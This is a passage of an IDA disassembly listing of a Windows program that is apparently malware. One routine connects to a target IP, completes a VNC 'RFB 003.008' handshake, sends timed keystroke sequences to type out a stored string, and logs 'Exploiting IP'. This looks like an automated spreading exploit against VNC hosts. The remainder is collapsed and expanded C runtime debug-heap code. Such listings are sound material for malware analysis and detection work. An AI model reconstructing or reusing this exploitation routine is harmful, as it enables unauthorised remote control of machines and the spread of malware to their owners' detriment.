		push	edi
		call	dword_4E4270	; send
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41C6AA
; ---------------------------------------------------------------------------

loc_41C696:				; CODE XREF: sub_41C624+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4E4270	; send
		push	esi
		push	1
		lea	eax, [ebp+var_6]

loc_41C6AA:				; CODE XREF: sub_41C624+70j
		push	eax
		push	edi
		call	dword_4E4270	; send
		push	ebx		; Str
		call	_strlen
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41C6C6
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41C6CB
; ---------------------------------------------------------------------------

loc_41C6C6:				; CODE XREF: sub_41C624+99j
		push	5
		lea	eax, [ebp+var_14]

loc_41C6CB:				; CODE XREF: sub_41C624+A0j
		push	eax
		push	edi
		call	dword_4E4270	; send
		push	esi
		push	ebx		; Str
		call	_strlen
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4E4270	; send

loc_41C6E4:				; CODE XREF: sub_41C624+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41C676
		pop	ebx
		jmp	short loc_41C766
; ---------------------------------------------------------------------------

loc_41C6F0:				; CODE XREF: sub_41C624+42j
		dec	eax
		jz	short loc_41C70F
		dec	eax
		jnz	short loc_41C766
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4E4270	; send
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41C726
; ---------------------------------------------------------------------------

loc_41C70F:				; CODE XREF: sub_41C624+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4E4270	; send
		push	esi
		push	1
		lea	eax, [ebp+var_6]

loc_41C726:				; CODE XREF: sub_41C624+E9j
		push	eax
		push	edi
		call	dword_4E4270	; send
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41C744
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41C749
; ---------------------------------------------------------------------------

loc_41C744:				; CODE XREF: sub_41C624+117j
		push	5
		lea	eax, [ebp+var_14]

loc_41C749:				; CODE XREF: sub_41C624+11Ej
		push	eax
		push	edi
		call	dword_4E4270	; send
		push	esi
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	[ebp+Str]
		push	edi
		call	dword_4E4270	; send

loc_41C766:				; CODE XREF: sub_41C624+CAj
					; sub_41C624+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41C624	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76A	proc near		; DATA XREF: .data:004493CCo

var_288		= dword	ptr -288h
Dst		= byte ptr -88h
var_48		= word ptr -48h
var_46		= word ptr -46h
var_44		= dword	ptr -44h
var_38		= byte ptr -38h
var_28		= byte ptr -28h
Dest		= byte ptr -20h
Str2		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
Str		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRfb003_008	; "RFB 003.008\n"
		lea	edi, [ebp+var_38]
		mov	ax, word_4529C4
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_4529C0
		lea	edi, [ebp+Str2]
		movsw
		movsb
		mov	esi, offset dword_4F4758
		lea	edi, [ebp+var_28]
		movsd
		movsb
		mov	esi, offset dword_4529CC
		lea	edi, [ebp+var_10]
		movsw
		movsb
		mov	esi, offset dword_4529D0
		lea	edi, [ebp+var_14]
		movsw
		movsb
		mov	esi, offset dword_4529D4
		lea	edi, [ebp+var_C]
		movsw
		movsb
		mov	word ptr [ebp+Str], ax
		mov	ax, word_4529C8
		xor	esi, esi
		mov	[ebp+var_16], ax
		mov	ax, word_4529D8
		push	esi
		push	1
		push	2
		mov	[ebp+var_18], ax
		xor	edi, edi
		call	dword_4E42A0	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41C7F3
		push	eax
		call	dword_4E42B8	; closesocket

loc_41C7F3:				; CODE XREF: sub_41C76A+80j
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_48], 2
		push	eax
		call	dword_4E4260	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_44], eax
		call	dword_4E4220	; htons
		mov	[ebp+var_46], ax
		lea	eax, [ebp+var_48]
		push	10h
		push	eax
		push	ebx
		call	dword_4E41C8	; connect
		test	eax, eax
		jnz	loc_41C8EF

loc_41C82B:				; CODE XREF: sub_41C76A+133j
					; sub_41C76A+16Aj
		push	40h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4E4238	; recv
		cmp	eax, esi
		jle	loc_41C8FD
		cmp	eax, 0FFFFFFFFh
		jz	loc_41C8FD
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41C89F
		dec	eax
		jz	short loc_41C86D
		dec	eax
		jz	short loc_41C8D9
		jmp	short loc_41C8CF
; ---------------------------------------------------------------------------

loc_41C86D:				; CODE XREF: sub_41C76A+FCj
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	eax, [ebp+Dst]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41C8EF
		lea	eax, [ebp+Str]
		push	esi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	dword_4E4270	; send
		push	2
		pop	edi
		jmp	short loc_41C82B
; ---------------------------------------------------------------------------

loc_41C89F:				; CODE XREF: sub_41C76A+F9j
		lea	eax, [ebp+var_38]
		push	eax		; Str2
		lea	eax, [ebp+Dst]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41C8EF
		lea	eax, [ebp+var_38]
		push	esi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		push	ebx
		call	dword_4E4270	; send
		push	1
		pop	edi

loc_41C8CF:				; CODE XREF: sub_41C76A+101j
		cmp	edi, 3
		jz	short loc_41C8FD
		jmp	loc_41C82B
; ---------------------------------------------------------------------------

loc_41C8D9:				; CODE XREF: sub_41C76A+FFj
		lea	eax, [ebp+var_28]
		push	eax		; Str2
		lea	eax, [ebp+Dst]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41C8FD

loc_41C8EF:				; CODE XREF: sub_41C76A+BBj
					; sub_41C76A+117j ...
		push	ebx
		call	dword_4E42B8	; closesocket
		xor	eax, eax
		jmp	loc_41CA86
; ---------------------------------------------------------------------------

loc_41C8FD:				; CODE XREF: sub_41C76A+E6j
					; sub_41C76A+EFj ...
		push	esi
		lea	eax, [ebp+var_16]
		push	1
		push	eax
		push	ebx
		call	dword_4E4270	; send
		lea	eax, [ebp+var_10]
		push	1		; int
		push	eax		; Str
		push	ebx		; int
		call	sub_41C624
		mov	esi, ds:dword_4F6380
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp+var_18]
		push	0		; int
		push	eax		; Str
		push	ebx		; int
		call	sub_41C624
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp+var_10]
		push	2		; int
		push	eax		; Str
		push	ebx		; int
		call	sub_41C624
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		and	[ebp+var_4], 0
		mov	edi, offset byte_4F4644
		push	edi		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_41C99D

loc_41C960:				; CODE XREF: sub_41C76A+231j
		mov	eax, [ebp+var_4]
		movsx	eax, byte_4F4644[eax]
		push	eax
		push	offset aC_4	; "%c"
		lea	eax, [ebp+Dest]
		push	3		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+Dest]
		push	0		; int
		push	eax		; Str
		push	ebx		; int
		call	sub_41C624
		add	esp, 1Ch
		push	7Dh
		call	esi	; Sleep
		inc	[ebp+var_4]
		push	edi		; Str
		call	_strlen
		cmp	[ebp+var_4], eax
		pop	ecx
		jb	short loc_41C960

loc_41C99D:				; CODE XREF: sub_41C76A+1F4j
		lea	eax, [ebp+var_C]
		push	0		; int
		push	eax		; Str
		push	ebx		; int
		call	sub_41C624
		add	esp, 0Ch
		push	0FA0h
		call	esi	; Sleep
		push	2
		pop	edi

loc_41C9B6:				; CODE XREF: sub_41C76A+263j
		lea	eax, [ebp+var_14]
		push	0		; int
		push	eax		; Str
		push	ebx		; int
		call	sub_41C624
		add	esp, 0Ch
		push	12Ch
		call	esi	; Sleep
		dec	edi
		jnz	short loc_41C9B6
		mov	edi, 7D0h
		push	edi
		call	esi	; Sleep
		lea	eax, [ebp+var_C]
		push	0		; int
		push	eax		; Str
		push	ebx		; int
		call	sub_41C624
		add	esp, 0Ch
		push	edi
		call	esi	; Sleep
		xor	edi, edi
		lea	eax, [ebp+var_14]
		push	edi		; int
		push	eax		; Str
		push	ebx		; int
		call	sub_41C624
		add	esp, 0Ch
		push	190h
		call	esi	; Sleep
		mov	[ebp+var_4], 2

loc_41CA07:				; CODE XREF: sub_41C76A+2B5j
		push	258h
		call	esi	; Sleep
		lea	eax, [ebp+var_C]
		push	edi		; int
		push	eax		; Str
		push	ebx		; int
		call	sub_41C624
		add	esp, 0Ch
		dec	[ebp+var_4]
		jnz	short loc_41CA07
		push	ebx
		call	dword_4E42B8	; closesocket
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp+var_288]
		push	1FFh		; Count
		push	eax		; Dest
		call	__snprintf
		push	edi		; int
		lea	eax, [ebp+var_288]
		push	[ebp+arg_B0]	; int
		push	eax		; int
		lea	eax, [ebp+arg_14]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		mov	eax, [ebp+arg_A8]
		add	esp, 28h
		shl	eax, 6
		inc	dword_449250[eax]
		push	1
		lea	eax, dword_449250[eax]
		pop	eax

loc_41CA86:				; CODE XREF: sub_41C76A+18Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C76A	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000BE BYTES: COLLAPSED FUNCTION __fclose_lk. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000026 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000002C BYTES: COLLAPSED FUNCTION __malloc_dbg. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000005D BYTES: COLLAPSED FUNCTION __nh_malloc_dbg. PRESS KEYPAD "+"	TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41CD3D. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000038 BYTES: COLLAPSED CHUNK OF FUNCTION __nh_malloc_dbg.	PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000313 BYTES: COLLAPSED FUNCTION __heap_alloc_dbg.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000024 BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000060 BYTES: COLLAPSED FUNCTION __calloc_dbg. PRESS KEYPAD "+" TO	EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION _realloc.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000063 BYTES: COLLAPSED FUNCTION __realloc_dbg. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41D1E3. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __realloc_dbg. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000511 BYTES: COLLAPSED FUNCTION _realloc_help. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000024 BYTES: COLLAPSED FUNCTION __expand.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000063 BYTES: COLLAPSED FUNCTION __expand_dbg. PRESS KEYPAD "+" TO	EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41D7C3. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __expand_dbg. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000013 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41D8A0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000052 BYTES: COLLAPSED FUNCTION __free_dbg. PRESS	KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41D882. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __free_dbg. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D8A0	proc near		; CODE XREF: .text:0041D819p
					; __free_dbg+3Cp

Dst		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_452A00
		and	eax, 4
		test	eax, eax
		jz	short loc_41D8E3

loc_41D8B3:				; CODE XREF: sub_41D8A0+41j
		call	sub_41DFF0
		test	eax, eax
		jnz	short loc_41D8DD
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0		; int
		push	402h		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D8DD
		int	3		; Trap to Debugger

loc_41D8DD:				; CODE XREF: sub_41D8A0+1Aj
					; sub_41D8A0+3Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D8B3

loc_41D8E3:				; CODE XREF: sub_41D8A0+11j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D8EE
		jmp	loc_41DC85
; ---------------------------------------------------------------------------

loc_41D8EE:				; CODE XREF: sub_41D8A0+47j
		push	0
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		push	3
		call	off_452DD0	; Microsoft VisualC 2-8/net runtime
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41D938

loc_41D90D:				; CODE XREF: sub_41D8A0+91j
		push	offset aClientHookFree ; "Client hook free failure.\n"
		push	offset aS_33	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D92D
		int	3		; Trap to Debugger

loc_41D92D:				; CODE XREF: sub_41D8A0+8Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D90D
		jmp	loc_41DC85
; ---------------------------------------------------------------------------

loc_41D938:				; CODE XREF: sub_41D8A0+6Bj
					; sub_41D8A0+CDj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41E4D0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41D969
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0		; int
		push	414h		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D969
		int	3		; Trap to Debugger

loc_41D969:				; CODE XREF: sub_41D8A0+A6j
					; sub_41D8A0+C6j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D938
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+Dst], ecx

loc_41D978:				; CODE XREF: sub_41D8A0+12Fj
		mov	edx, [ebp+Dst]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41D9CB
		mov	ecx, [ebp+Dst]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41D9CB
		mov	edx, [ebp+Dst]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41D9CB
		mov	ecx, [ebp+Dst]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41D9CB
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0		; int
		push	41Ah		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D9CB
		int	3		; Trap to Debugger

loc_41D9CB:				; CODE XREF: sub_41D8A0+E6j
					; sub_41D8A0+EFj ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D978
		mov	eax, dword_452A00
		and	eax, 4
		test	eax, eax
		jnz	loc_41DAA6
		push	4
		mov	cl, byte_452A0C
		push	ecx
		mov	edx, [ebp+Dst]
		add	edx, 1Ch
		push	edx
		call	_CheckBytes
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA40

loc_41D9FD:				; CODE XREF: sub_41D8A0+19Ej
		mov	eax, [ebp+Dst]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+Dst]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+Dst]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_452A10[ecx*4]
		push	edx		; char
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	1		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41DA3A
		int	3		; Trap to Debugger

loc_41DA3A:				; CODE XREF: sub_41D8A0+197j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D9FD

loc_41DA40:				; CODE XREF: sub_41D8A0+15Bj
		push	4
		mov	cl, byte_452A0C
		push	ecx
		mov	edx, [ebp+Dst]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+Dst]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	_CheckBytes
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DAA6

loc_41DA63:				; CODE XREF: sub_41D8A0+204j
		mov	eax, [ebp+Dst]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+Dst]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+Dst]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_452A10[ecx*4]
		push	edx		; char
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	1		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41DAA0
		int	3		; Trap to Debugger

loc_41DAA0:				; CODE XREF: sub_41D8A0+1FDj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DA63

loc_41DAA6:				; CODE XREF: sub_41D8A0+13Bj
					; sub_41D8A0+1C1j
		mov	ecx, [ebp+Dst]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41DB1B

loc_41DAAF:				; CODE XREF: sub_41D8A0+249j
		mov	edx, [ebp+Dst]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_41DAC4
		mov	eax, [ebp+Dst]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_41DAE5

loc_41DAC4:				; CODE XREF: sub_41D8A0+219j
		push	offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
		push	0		; int
		push	42Fh		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DAE5
		int	3		; Trap to Debugger

loc_41DAE5:				; CODE XREF: sub_41D8A0+222j
					; sub_41D8A0+242j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41DAAF
		mov	edx, [ebp+Dst]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax		; Size
		xor	ecx, ecx
		mov	cl, byte_452A0D
		push	ecx		; Val
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	_memset
		add	esp, 0Ch
		mov	eax, [ebp+Dst]
		push	eax
		call	sub_424AF0
		add	esp, 4
		jmp	loc_41DC85
; ---------------------------------------------------------------------------

loc_41DB1B:				; CODE XREF: sub_41D8A0+20Dj
		mov	ecx, [ebp+Dst]
		cmp	dword ptr [ecx+14h], 2
		jnz	short loc_41DB31
		cmp	[ebp+arg_4], 1
		jnz	short loc_41DB31
		mov	[ebp+arg_4], 2

loc_41DB31:				; CODE XREF: sub_41D8A0+282j
					; sub_41D8A0+288j ...
		mov	edx, [ebp+Dst]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41DB5D
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0		; int
		push	43Ch		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DB5D
		int	3		; Trap to Debugger

loc_41DB5D:				; CODE XREF: sub_41D8A0+29Aj
					; sub_41D8A0+2BAj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41DB31
		mov	edx, [ebp+Dst]
		mov	eax, dword_4F476C
		sub	eax, [edx+10h]
		mov	dword_4F476C, eax
		mov	ecx, dword_452A00
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_41DC5C
		mov	edx, [ebp+Dst]
		cmp	dword ptr [edx], 0
		jz	short loc_41DB9C
		mov	eax, [ebp+Dst]
		mov	ecx, [eax]
		mov	edx, [ebp+Dst]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		jmp	short loc_41DBDA
; ---------------------------------------------------------------------------

loc_41DB9C:				; CODE XREF: sub_41D8A0+2EAj
					; sub_41D8A0+32Cj
		mov	ecx, dword_4F4760
		cmp	ecx, [ebp+Dst]
		jz	short loc_41DBC8
		push	offset a_plastblockPhe ; "_pLastBlock == pHead"
		push	0		; int
		push	44Bh		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DBC8
		int	3		; Trap to Debugger

loc_41DBC8:				; CODE XREF: sub_41D8A0+305j
					; sub_41D8A0+325j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41DB9C
		mov	eax, [ebp+Dst]
		mov	ecx, [eax+4]
		mov	dword_4F4760, ecx

loc_41DBDA:				; CODE XREF: sub_41D8A0+2FAj
		mov	edx, [ebp+Dst]
		cmp	dword ptr [edx+4], 0
		jz	short loc_41DBF2
		mov	eax, [ebp+Dst]
		mov	ecx, [eax+4]
		mov	edx, [ebp+Dst]
		mov	eax, [edx]
		mov	[ecx], eax
		jmp	short loc_41DC2F
; ---------------------------------------------------------------------------

loc_41DBF2:				; CODE XREF: sub_41D8A0+341j
					; sub_41D8A0+382j
		mov	ecx, dword_4F4768
		cmp	ecx, [ebp+Dst]
		jz	short loc_41DC1E
		push	offset a_pfirstblockPh ; "_pFirstBlock == pHead"
		push	0		; int
		push	455h		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DC1E
		int	3		; Trap to Debugger

loc_41DC1E:				; CODE XREF: sub_41D8A0+35Bj
					; sub_41D8A0+37Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41DBF2
		mov	eax, [ebp+Dst]
		mov	ecx, [eax]
		mov	dword_4F4768, ecx

loc_41DC2F:				; CODE XREF: sub_41D8A0+350j
		mov	edx, [ebp+Dst]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax		; Size
		xor	ecx, ecx
		mov	cl, byte_452A0D
		push	ecx		; Val
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	_memset
		add	esp, 0Ch
		mov	eax, [ebp+Dst]
		push	eax
		call	sub_424AF0
		add	esp, 4
		jmp	short loc_41DC85
; ---------------------------------------------------------------------------

loc_41DC5C:				; CODE XREF: sub_41D8A0+2DEj
		mov	ecx, [ebp+Dst]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+Dst]
		mov	eax, [edx+10h]
		push	eax		; Size
		xor	ecx, ecx
		mov	cl, byte_452A0D
		push	ecx		; Val
		mov	edx, [ebp+Dst]
		add	edx, 20h
		push	edx		; Dst
		call	_memset
		add	esp, 0Ch

loc_41DC85:				; CODE XREF: sub_41D8A0+49j
					; sub_41D8A0+93j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D8A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41DCB0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DCB0	proc near		; CODE XREF: .text:0041DC99p
					; __onexit+11p	...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041DE2C SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D920
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi		; char
		mov	eax, dword_452A00
		and	eax, 4
		test	eax, eax
		jz	short loc_41DD0F

loc_41DCDF:				; CODE XREF: sub_41DCB0+5Dj
		call	sub_41DFF0
		test	eax, eax
		jnz	short loc_41DD09
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0		; int
		push	49Dh		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DD09
		int	3		; Trap to Debugger

loc_41DD09:				; CODE XREF: sub_41DCB0+36j
					; sub_41DCB0+56j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41DCDF

loc_41DD0F:				; CODE XREF: sub_41DCB0+2Dj
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0

loc_41DD20:				; CODE XREF: sub_41DCB0+A5j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41E4D0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41DD51
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0		; int
		push	4A9h		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DD51
		int	3		; Trap to Debugger

loc_41DD51:				; CODE XREF: sub_41DCB0+7Ej
					; sub_41DCB0+9Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DD20
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_20], ecx

loc_41DD60:				; CODE XREF: sub_41DCB0+107j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41DDB3
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41DDB3
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41DDB3
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41DDB3
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0		; int
		push	4AFh		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DDB3
